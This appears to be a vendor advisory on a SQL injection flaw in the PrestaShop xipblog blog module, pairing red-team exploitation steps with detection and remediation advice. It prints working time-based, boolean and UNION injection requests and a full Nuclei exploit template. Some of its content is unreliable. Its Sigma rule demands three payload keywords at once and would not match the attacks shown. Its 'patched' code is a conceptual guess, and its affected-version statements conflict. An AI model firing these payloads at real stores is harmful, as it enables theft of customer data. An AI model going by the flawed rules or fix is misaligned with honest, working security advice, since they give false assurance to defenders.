CVE-2023-27847

Executive Summary

CVE-2023-27847 is a critical SQL injection vulnerability discovered in the PrestaShop xipblog module, affecting versions 2.0.1 and earlier. The flaw resides in the xipcategoryclass and xippostsclass components, allowing an unauthenticated remote attacker to execute arbitrary SQL queries. Successful exploitation can lead to unauthorized data access, data leakage, and potential privilege escalation. The vulnerability is publicly known, with a proof-of-concept (PoC) available via a Nuclei template, and has a CVSS score of 9.8 (Critical). The EPSS score is 0.73129, indicating a high probability of exploitation in the wild.

Supply Chain & Package Security

This vulnerability affects a third-party module (xipblog) for the PrestaShop e-commerce platform. As a module, it is part of the software supply chain for PrestaShop installations. Users who have installed this module are at risk. The patch was released without incrementing the version number, which can lead to confusion and incomplete patching. Administrators must verify the integrity of the module files and ensure the latest security patches are applied.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivial to exploit remotely without authentication, making it a high-priority target for attackers.

Deep Dive & Mechanics

The SQL injection vulnerability exists in the xipblog module's handling of user-supplied input within the xipcategoryclass and xippostsclass components. The module fails to properly sanitize or parameterize SQL queries when processing parameters such as id, page_type, rewrite, and subpage_type in the /module/xipblog/archive endpoint.

An attacker can inject malicious SQL code by appending SQL statements to these parameters. The provided Nuclei template demonstrates multiple injection techniques:

• Time-based blind SQL injection: Using SLEEP() functions to infer database behavior based on response delays.
• Boolean-based blind SQL injection: Using conditional statements (e.g., AND 5484=5484 vs AND 5484=5485) to observe changes in the response content.
• UNION-based SQL injection: Using UNION ALL SELECT to extract data directly, as shown by the injection of CONCAT(md5(999999999)) to verify data retrieval.

The vulnerability allows an attacker to bypass authentication, extract sensitive data (e.g., customer credentials, order details), and potentially execute administrative operations.

Vulnerable vs. Patched Code

The vulnerable code likely constructs SQL queries by directly concatenating user input without proper escaping or prepared statements. For example:

// Vulnerable code (conceptual)
$sql = "SELECT * FROM "._DB_PREFIX_."xipblog_post WHERE id = ".$_GET['id'];

The patched code should use prepared statements or parameterized queries:

// Patched code (conceptual)
$sql = "SELECT * FROM "._DB_PREFIX_."xipblog_post WHERE id = ?";
$result = Db::getInstance()->executeS($sql, array((int)$_GET['id']));

Since the vendor did not increment the version number, administrators must verify the module's file hashes or apply the latest patch from the vendor's official source.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable PrestaShop instance with xipblog module version 2.0.1.
2. Ensure the /module/xipblog/archive endpoint is accessible.

Exploitation Steps:

1. Time-based blind injection: Use the following request to confirm vulnerability:

   GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(5)))AuDU)--+lafl HTTP/1.1
   Host: target.com
   

   If the response is delayed by 5 seconds, the vulnerability is present.

2. Boolean-based blind injection: Use conditional requests to extract data:

   GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5484--+xhCs HTTP/1.1
   Host: target.com
   

   Compare with:

   GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5485--+xhCs HTTP/1.1
   Host: target.com
   

   The presence or absence of the kr_blog_post_area string indicates true/false conditions.

3. UNION-based injection: Extract data directly:

   GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999)),NULL,NULL--+- HTTP/1.1
   Host: target.com
   

   If the response contains the MD5 hash of 999999999, the injection is successful.

Automated Exploitation: Use the provided Nuclei template with tools like Nuclei:

nuclei -t CVE-2023-27847.yaml -u http://target.com

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /module/xipblog/archive with suspicious parameters containing SQL keywords (e.g., SLEEP, UNION, AND, OR).
2. Look for abnormal response times (e.g., delays > 5 seconds) indicating time-based injection attempts.
3. Check for repeated requests with varying boolean conditions (e.g., AND 1=1 vs AND 1=2).
4. Verify the integrity of the xipblog module files against known good hashes.

Hunting Queries:

• Search for requests containing subpage_type=post"+ in access logs.
• Identify requests with UNION ALL SELECT patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /module/xipblog/archive with parameters containing SQL injection patterns.
  • Unusual response delays (e.g., > 5 seconds) from the /module/xipblog/archive endpoint.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).

• File IOCs:

  • Modified or unexpected files in the /modules/xipblog/ directory.
  • Presence of web shells or backdoor scripts.

• Log IOCs:

  • Web server logs showing repeated SQL injection attempts.
  • Database logs showing anomalous queries (e.g., UNION ALL SELECT).

Detection Engineering

YARA Rule

rule CVE_2023_27847_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting PrestaShop xipblog module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27847"
        severity = "critical"
    strings:
        $s1 = "/module/xipblog/archive" ascii wide nocase
        $s2 = "subpage_type=post" ascii wide nocase
        $s3 = "SLEEP(" ascii wide nocase
        $s4 = "UNION ALL SELECT" ascii wide nocase
        $s5 = "AND " ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-27847 PrestaShop xipblog SQL Injection Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against the PrestaShop xipblog module
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27847
    - https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/module/xipblog/archive"
            - "subpage_type=post"
        cs-uri-query|contains|all:
            - "SLEEP("
            - "UNION ALL SELECT"
            - "AND "
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: critical
tags:
    - attack.t1190
    - cve.2023.27847

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-27847 PrestaShop xipblog SQL Injection Attempt"; flow:to_server,established; content:"/module/xipblog/archive"; http_uri; content:"subpage_type=post"; http_uri; pcre:"/(SLEEP\(|UNION ALL SELECT|AND\s+\d+)/Ui"; classtype:web-application-attack; sid:10000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-27847

info:
  name: PrestaShop xipblog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access and data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27847
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27847
    cwe-id: CWE-89
    epss-score: 0.73129
    epss-percentile: 0.98799
  metadata:
    verified: true
    max-request: 5
    framework: prestashop
    shodan-query: html:"/xipblog"
    fofa-query: app="Prestashop"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,xipblog,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: word
        part: body
        words:
          - 'xipblog'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(5)))AuDU)--+lafl HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration >= 5'
          - 'status_code != 404'
        condition: and

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5484--+xhCs HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: word
        part: body
        words:
          - 'kr_blog_post_area'
        internal: true

  - raw:
      - |
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5485--+xhCs HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: blind-based
        dsl:
          - '!contains(body, "kr_blog_post_area")'
        internal: false

  - raw:
      - |
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL--+- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: union-based
        dsl:
          - 'status_code != 404'
          - 'contains(body, "{{md5({{num}})}}")'
        condition: and
# digest: 4a0a004730450220573c1ea985b714680cbaa81b63077f17692f210145ab32722ef25b0faf4bef26022100f6db2e43f25c5630b958ce0fc1113588e3719e190060fafdc44e02f0e4419c84:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

1. Immediate Actions:

   • Disable or uninstall the xipblog module if not essential.
   • Apply the latest security patches from the vendor. Verify the patch by checking file hashes or consulting the vendor's advisory.
   • Implement a Web Application Firewall (WAF) rule to block SQL injection patterns targeting /module/xipblog/archive.

2. Long-term Measures:

   • Conduct a security audit of all third-party modules.
   • Enforce the use of prepared statements and parameterized queries in all custom code.
   • Implement input validation and output encoding.
   • Regularly update PrestaShop and all modules to the latest versions.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
   • Monitor logs for anomalous database queries and web requests.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 660108576361EE55514A05E8] */}